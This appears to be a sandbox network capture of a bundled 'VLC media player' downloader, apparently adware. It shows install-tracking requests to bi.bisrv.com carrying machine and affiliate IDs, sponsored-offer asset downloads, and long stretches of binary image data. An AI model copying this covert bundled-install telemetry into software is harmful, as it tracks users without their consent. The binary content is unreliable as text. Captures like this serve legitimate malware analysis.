[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:46:02 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=deeff5a15601b36717ca3eb5dc3198f551418834762; expires=Thu, 17-Dec-15 16:46:02 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Tue, 16 Dec 2014 22:10:07 GMT

Expires: Sun, 21 Dec 2014 16:46:01 GMT

ETag: "298fa1bfcfabe71ce46e1c3881d11e45c1c81f02"

Cache-Control: public, max-age=345599

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 19a4982e90aa0b02-WAW
0..........0..... .....0......0...0..........<.|[email protected]|..2014
1216221007Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20141216221007Z....20141220221007Z."0 0..
. .....0......20131216221007Z0...*.H...............C.....W..X.O.Ln[..r
.&#.<.....j1..lc4.....F.. a.*.....#...;j...._...X^....VB.A..k....C.
N..e.N.w.........2.g.wi\.~. Q.....ev....E......X...JZ.T...?j.B...lYl.(
....WM......8..<.....Pa!.)3.`u(..Y......]t...JF.....i.......>o..
B....?....z...,HU..Da>.......v.L......0...0...0..........Z..UGx.`..
p.{....UG0...*.H........0..1.0...U....US1.0...U....Washington1.0...U..
..Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...
U....Microsoft IT SSL SHA20...141023182829Z..150106182829Z0!1.0...U...
.Should be ignore by CA0.."0...*.H.............0...........&!(..$.K...
."=f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.
..........bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.
x*.......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ..
.6.M.O.....<5:......r.....]..A.5........0..0...U..........<.|7..
[email protected]|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0.
.. .......0... .....7....0.0... .......0... .....0......0...*.H.......
......G...`./%.9...K........5.c....<.0....zV...uRkj..%..&99....GPr.
.......kkfA{}{z..Vz0.S'.j.R...d.0...'........!.3......h8?.v..[FH0 \..q
...x..)T^^1..p....4.rZ.w.EF.....wI._E...-. .;........4....?.H......U~q
?..*.!?.d.).FE.a$......H^wV.6..\s...q^D......Y..>......#..C...s
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=appshat_madness&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=4&index_in_screen=1&index_in_session=4&0.6627786594052993 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:22 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:22 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.673346413233777 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_xrwc_1/vlcmediaplayerdmot/49e8eb8101569a41ad990f2a534d0e40?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=49e8eb8101569a41ad990f2a534d0e40&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:43:29 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:43:29 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/css/A.lightbox.css.pagespeed.cf.ygMGUJc3UJo8nRkTykPW.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Content-Type: text/css

Date: Wed, 17 Dec 2014 15:57:15 GMT

Expires: Sat, 12 Dec 2015 12:20:34 GMT

ETag: W/"0"

Last-Modified: Fri, 12 Dec 2014 12:20:34 GMT

X-Page-Speed: 123_1_rr

Content-Encoding: gzip

X-XSS-Protection: 1; mode=block

Content-Length: 932

Age: 3030

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
...........U.n.6...!A.MaIvlo..- '.n........DI.)........d....../....3.3
...e..p.4...jS.d.aI ..g... ..8M..[..L...._.2.. N.......>.(e....Y
,Pb...W9|x. fj..hx.`.M..0H..tnRbI_...N@i@,X.r..v/vx........:@IbZjl.g%u
sjB..)..M.`|E..,f.8...........6$PB.......WR......T....P.Vd......MB....
.-B....Z=......:8h..-ZP...i.A<........ .7q.1N.....qzM?...j.M]......
.XT.}4e......6.d.....'...U<.x.r.6..67......... .8.bNA..Un..mO IX..K
n.r.d.W.\.hZ4D.5.b.3...f(a..(4.6.IF.V..gb.g.)......-.*A....a6...\.....
3#[email protected] ..Ag.....x..............p..[.K.:...0......r"..t... H..
(b...X..3.g..9....M..b....._...2.......!^...O...X.>.#..o.O..V....x.
..O..b.AU..jo[..MB.*3.2fEi....O_.\..?....U..d...o.u..2....).......C...
..Ix.7......t.y>x...<.q....n..J...4........R...c=..RX..."p.%..k.
....<...........H........z...vK..~..|U.Q!...8v.#.A.DDQ.sq...).l.e..
...}E.......-.c.P.]..'Q.5%..N..BF...0...."....LS....i.Ls>...k^...GI
.....{".:.w.....a.f.......2.P..........Wp./.......


GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/logo.jpg.pagespeed.ce.Khx_XwXN03oCbtjhN-zG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 15:54:42 GMT

Expires: Tue, 15 Dec 2015 19:19:32 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 19:19:32 GMT

X-Original-Content-Length: 5807

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 5807

Age: 3183

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:B61A1BBFD29B11E28771DAFB2D1987AB" xmpMM:Documen
tID="xmp.did:B61A1BC0D29B11E28771DAFB2D1987AB"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:B61A1BBDD29B11E28771DAFB2D1987AB" stRef:d
ocumentID="xmp.did:B61A1BBED29B11E28771DAFB2D1987AB"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................>..............................................
...................................................!1AQ"...2..aq..B#..
....Rr.3.SC.5.......................!..1Aa".Qq......2..B...b3$%.......
......?..u.......i...>#...-..LPv.....t..T.J..5........*jO....5UP...
t..O.h.nP*;.jOJu=?-.%(.%!.Ggh.H#@l. |..UN..~.....C...(e....YA!....8.).
[email protected].\.jY".......z.b;......6..7...M...6..X.&i..Tw.%... ...
..=.c.\$.1l....q;.*.).M..nij..;.....:........J...x..z.....5*......
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/banner/images/assets/5/b/303x148x5b8f93845e4dd380fec57bc644ec49d1.jpg.pagespeed.ic.KJwkbv_hY_qT-vepcZiq.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 16:40:58 GMT

Expires: Wed, 09 Dec 2015 18:29:05 GMT

ETag: W/"0"

Last-Modified: Tue, 09 Dec 2014 18:29:05 GMT

X-Original-Content-Length: 49981

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 12683

Age: 407

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......JFIF.............C..............................................
!........."$".$.......C...............................................
........................../.."........................................
..................................................f...I....T.v]5.|.*.h
Uax.1q.tr%....]!48....k.g.".5..A.....z...XK.A.N..'=c.............Z..r.
.T.s.>]*.o.n,g..W..<.d.../q.J...S....N..[QO...u.o...Xc.Z.<,..
f.^^.H.....^..`m...6....x...m..".......m...9...[.L.3.,/.<..}g..w...
.......ly...c...KEb"%........*......Vyz...V..qG..m...e.." f..c...d.gs.
..'5.ka..z......3..3.Z...#.Xb...W.$...y.s......19F...`...U.O.mU.*....Q
F...u.h..&.Pq.."/YVX.2.%..^......1z.SoY.t>.B..V.G..,.UW......-....^
...2.....F...|l..l.....Bi.*e.... F.Q.{..M.0.)0D.e.............ya.^g..z
..s.G...5.k=.5H...E...-..>..m.u....ls6t.......................Uf...
P.O0U.p.e.e.e..l..soyz..ndo(l*.}q..R.R....)...g.)33........QX-.E......
. a..W.!T..A.../a=!Hn...F..$.. )..h.`....xz.L...r\.. zhxM8$..#}.S.<
.5....z...OsC..PF.....*O....\..O J.<..K.^}'.#.oY.[.......&...o-..*.
B1C.....S..O/#Jj#H....igV|_v.rA.......A.....A\..wRD..L..YC..ow]e{..,..
nW...0.......W...?{.......t.1...].A..$p.........,.....................
........!" #12.%.A$03..............@'S.x...<gP.....-.}E.ze..D.u:.N.
P.D"....@ ....<g...1*gvB...a...\f..xm....\..... ..S..N.S.."...B!...
...,.. .......-.T...K,"c..K[.QF.OSj.>s.m..|....V.......g.~D}..G...i
...,\.l.D"...B!...."...&L....-Di.....Sq....nM./...6.]~w.u..f.........j
.G!..q.~.........y.....{>\...f..~.g.4.......D"..h`."..(.S.y7..Q
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/6/a/78x78x6a12dc1a298e870b610a58a56ba0f5ec.jpg.pagespeed.ic.uwtHBdtZOQtaPxcmCnam.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive





.a.yD..O..U.5.`...f......:*.R.?......C..I......=.....v...v3.P....`.Z|.
.s..H..*@v..:.M.Q.`.DFLS....


GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/e/5/78x78xe54e8c720dffffa619c3b0eacec9381a.png.pagespeed.ic.ZQdyYxnfLUYUuPTrA-U2.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive





..w.?.....-\p.\.>.@[f.~.....5...........I.!...8.....=.oBOj....~.,~.
...Lp0H."....t........]..0w.T....||....M6l...Z....?.S.w...."t1..._.pa.
.....u`..<8...:o...Z.......$>...A..v'..9!.KK?S...............>
;.a..`....M...5%....E./.H^I...?.L.|.......5...W.\......l..l!.[.i%1....
t(............M..t..$M......'\Vl...W.\......O......}U......7.)}S.....Q
'..-....D...E.......B.D..W.\......^..K...3.......).F...~..K.P...}..6?1
.=W. ....\.z............q...o...Z...r..,~o......O^..\h............:O..
.....\.g......~x.......-..........z|......_..........&}'..3.x../#..!..
......B.&......e..@\......?.K../.0/r........)..^.>.?.[.!.?H.<R .
..........~.4i.(...............~... ....LI.....A.J........._1pa....K..
[email protected]...>..ye.....[b..d.............W...W)....Vq#.
.....K.........S?\.<....|...}......*|..... .......T.VV.......M._..o
......O...!~..s,.).$..M..[...... .0.p........<8. .K.R...v.....-.X..
Q.t..P-.. ._.!.5.h.".=k/...........E.&k.P..d...6..?...IJ.?t....)[email protected].
/... ........Z........O.&#..8{v.................qM.,.w....p..t......qa
..J.u... ......3.oe...V5.....~$.%S.O.w.=..j.'1.:rV. ....\)..|d.8....F.
.g..@....^..~?...S....K_..F...3.....W.\...B.4A..].&k.....B.$ I...y...6
7...X.\.w...!...._Ypa.........w..D.y.......)'}.s......?K.l2..;..#~1O..
UH?.1.:.r.s.pa....2/...~ ..................V.....Mr9.E.........n|.....
 .._...M.....,.#.s[./...}..._....U..~.G ...........W......5q..*~.....o
2....o..t..... .;..-.O[...o.....".<A....(....d0...........>p....
.....GJ..w./.N....D....J.y..C....._qpa...../.%M.&?......=.~\..?A..
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/5/8/78x78x589b1e936e1f038dc45bd8ffff59b359.png.pagespeed.ic.z-mKIqvmmwfgfqJRMgXY.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:56:53 GMT

Expires: Fri, 11 Dec 2015 22:54:27 GMT

ETag: W/"0"

Last-Modified: Thu, 11 Dec 2014 22:54:27 GMT

X-Original-Content-Length: 275725

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Age: 3052

Cache-Control: max-age=31536000

Content-Length: 274441

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx...{.niy.w..{...0{`....9....
C1i ...HN.ZEv...RU.......v..RU....u.VU....Kc...`".(.\jd.a.c..e........
{\.Z....Z..^..N.4....z.z.........NNN.i...*..a...X...eYdY...8..u.E.m.F]
.QUUl6.(.2..ATU.eY.t:..i...m.EQD].Q.El6.(.".,..i.m........lb..D.e1.Lb.
X.h4..f...EQ..U.u...DQ.QUU..EQDY...m.m.....,........Q.u.....:F........
i....#.....`p.,......i......m.,.....G=GD......,..A.V.....]...<.#"..
....w]..e...u=}/".u...<..5..b.^G....y.e.............Y.EUU.}.E...f..
.m#......>.i......l"......TU..vZ...v~G{H....g.O....p..]jo...V...W.u
..\..(...}.y.?KD...`0..I]..g.yt=..>..Y{q.^.p8.....Y:....S.e.~:....j
.y....eY.W....Ok.4M..zWz.Z{..>..bY..;.l6...z...?.zGz6.}..~O.^..{..j
]t..s|..Y. =??K..{U....k......j.x..s....nox}.....=m .7. ..=.s.g......K
].1....%.....u].Sw....l......m..m.Y...,......u..j..y?W.^..|...h4..,c&g
t;......1.Lb...b...x|i?WU...:..q...az^.-.Q...:..qTU._O....3...eY......
L...y._[.S.u2..j..........F;F.m.........e...r...F.X,.......z.?9..(b8..
..nr0.\:....:..d2.7.....M.{..<..EDD........\U..y..9..'.<.. k..0.
.DD..............K...4M....z6}...:..P:..8:...t.\{:..f.?......4.hD.j..1
.:.)[email protected]]..R.....)..g2...i.u?r.\[.=.......`......_.;sc..[.'c.=...
..:?.....e.5.2.5..9t........{.?..V......=..d`......;m...>..W.......
...{.x.5~..)......5J..5...lsm..<.....Nk!{.d...?.\{...>...m{.4.W.
..j.4_^....L&.T..g...;vN6u:..l6....<....`0..(.dz.\...}..x<..|>
;..MY.1.......k...^.#......\.......<..A...d.....P. 7..P7.^...D.....
..fSEY..`@.O7.......E...;.QUU.V.>....L&Q.E,...l.i...F..6..y....
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/images/bg_main.jpg.pagespeed.ce.JxoBZ0-OVe7Q4uq_LJMh.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/jpeg

Date: Wed, 17 Dec 2014 16:03:40 GMT

Expires: Tue, 15 Dec 2015 19:19:33 GMT

ETag: W/"0"

Last-Modified: Mon, 15 Dec 2014 19:19:33 GMT

X-Original-Content-Length: 10118

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 10118

Age: 2645

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:7683121CC78911E2A52298D01C71D7D1" xmpMM:Documen
tID="xmp.did:7683121DC78911E2A52298D01C71D7D1"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:7683121AC78911E2A52298D01C71D7D1" stRef:d
ocumentID="xmp.did:7683121BC78911E2A52298D01C71D7D1"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................................y.................................
............................!.1.AQ.a"q.2...#....BRb...r.3..CS.....$4..
............................?..)vj...RG...28..5........Z.....Y..>..
.h..._...1........]..2v..|[email protected]^.....([email protected],I...R}......
.A......n..I...W.nN.q.*..(.......g..5...WAk.h<.u.........c...A;...`
7...9..Lb..'/..#7n!*fgl.....kO....T....N.>....7.^....A.v...md.:....
[email protected]....].....\..M.....H.2....`y......A2.
<<< skipped >>>

GET /h/VVV.appshat.com/images/4.0stars.jpg.pagespeed.ce.7EhkSCmV4fiZvLox5Lxa.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive



GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/3/d/78x78x3d8bbea6bcae57d705c676f7050a7d51.png.pagespeed.ic.3_Ep6KF6j8iA4GuiHb5k.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:55:27 GMT

Expires: Fri, 04 Dec 2015 20:14:38 GMT

ETag: W/"0"

Last-Modified: Thu, 04 Dec 2014 20:14:38 GMT

X-Original-Content-Length: 131190

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 120589

Age: 3138

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx..].x\..] ..\eI.....!$....J.
P.).....).Bu76...f.j...qUs....F.%..t...wn.{.[iW.....7...v%...3g....{..
S....o<z./..q..._.........g}.ko....?T,..........jl..j...oC...7..I..
 .|...../.x./.....(...*.=l.b .......}x.B...U..{..O..Q.......rqO....[..
..r...^.\.~v\)....../....4*....|Ww..ou.m..v.q.\.|....|.D......<.Ff.
.&a.#G`d.sl.9R...#.....b;2S....z.....8S....Y......c..Z1Wl.U.s!........
.....G^. ...z..g.@w..*.......l.O.f.f........%.)....O....O...O..'g.kl..
.l..Lq.........b.{..O.n.........=r.vD......n.b1..........]...#B.Gd...g
.......e....Y'.,..e.....n*........:g...2wM.......sV..l..,...Z..2SD.Y E
..N.3p..g...N3V..[v.E...;wF...w....7.]<....\t.U..M...V.qJ..2..x...w
....C.......|.{.....yO.....~...P.....z.|..v.;...{.x.6I.....w..C.O=C=..
..8Tls..c..$&..=. A..*. .....B ..\..o..d9..^o#.0....M..L......?.....g(
..............<.O..)... ....Bd.:`....=..Q...<.~6F.G..w.`...^....
...,....1p?.N...M...!.]...}M...]T.B`....e.?.K....."..t........~....{gy
.......8.../..@Sf._....W0....y..uk...[....pw.........*%`.g....{=..Jy..
....E...r....o....{.9................h"Pi.C.~6.&HrQ..;l.S!?.....M.s\..
i...H.e.F9...>..f.IH..,...Y..d9.@...*s0"[email protected].|...
...... ..X..9... .....-..K.8.......P$`....O(. .].?.....H.....!2W......
........~wv.. .<.g...E5...".k.9..!....pBP ......8.....]91@..$A..W..
P.J..$..W.L..~..@.'.I..E.V0r.B.......on.w....C.....:.tH.[.^.......r..}
HA...xk....b.\...@n..`\.M_.'..@._..f....../I..G..E<.... D...xu.B}.m
.9..X.....o.@\.F.....:..y4!.....>%.d.).*..}B.F:D.f....K...L....
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/7/c/78x78x7c9d412c730603d1d82b98a548a71bac.png.pagespeed.ic.0mNREhR0t6hPCWrBRAvl.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 1-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:55:27 GMT

Expires: Fri, 04 Dec 2015 20:14:44 GMT

ETag: W/"0"

Last-Modified: Thu, 04 Dec 2014 20:14:44 GMT

X-Original-Content-Length: 124611

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 116064

Age: 3139

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx..}..^.u6.LG.(..{/.]Z5..c.H.
.N.K..8.CL...qO......}W..z..cSL..!.......33.... ...P9..yn.r...s.S..NRJ
.$$$$$$$tb..AHHHHHH...........!!!!!!!..BBBBBBB........................
..... $$$$$$$.@HHHHHHH...........!!!!!!!..BBBBBBB.....................
........ $$$$$$$.@HHHHHHH..........!!!!!!!..BBBBBBB...................
.......... $$$$$$$.@HHHHHHH...........!!!!!!!..BBBBBBB................
............. $$$$$$$.@HHHHHHH...........!!!!!!..BBBBBBB..............
............... $$$$$$$.@HHHHHHH...........!!!!!!!......O..O..O.z... .
@..O..O......./..'..'........?..?..?...................9..LR!!!..[....
. .@HHHH.................. $$$$$.@....!....?.H..ZH......BB..b...Sbt...
...z.T..n.?....!..........%.W.\.CQ....Mgj:......t..~...um...}.....q.qj
.. .AH......B..c.....~zL.....y...t......t...5].i.....9..iH.i0.?..y..."
.g.....'..8P8=.8H..r...... [email protected].. zn....<.;.....I9....)SS...My..
5.h*.T...Q...^R).W..)rm...r\.......A.W........x. ............. t,Y.\..
S.\..d...=.).... 5Ui..4|........~...;....u........../..L.../...P.....-
.[.`...Ouu.D...P.x*s<.,.1...00................... [email protected]...
..S(.\.0...7..G?.._.x.._ ...?..FR.o...}om.......WG...._...mo<...O/.
`.........._2...P..Jc.J...;YqP.=.......B.......z?.>..s...".........
[email protected]..?...{.:N.vw..E.....Y.~...o....?..O......<..Nf....B87
. ...............[.....A...r...)8r......>s..w.....m[.....Nu.....g..
[^3..dB...1.r2 r2.. .%.{..; [email protected]........ ...w.l.Y._..W>.h...x.
...l......tw .K..}...k[6>..S.5,\.......r.B.`^[email protected] `@H....
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/5/8/78x78x58d196b3e886a838d021adc8c8848f1e.png.pagespeed.ic.1ZFBkb8zgu3cym51RTl5.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

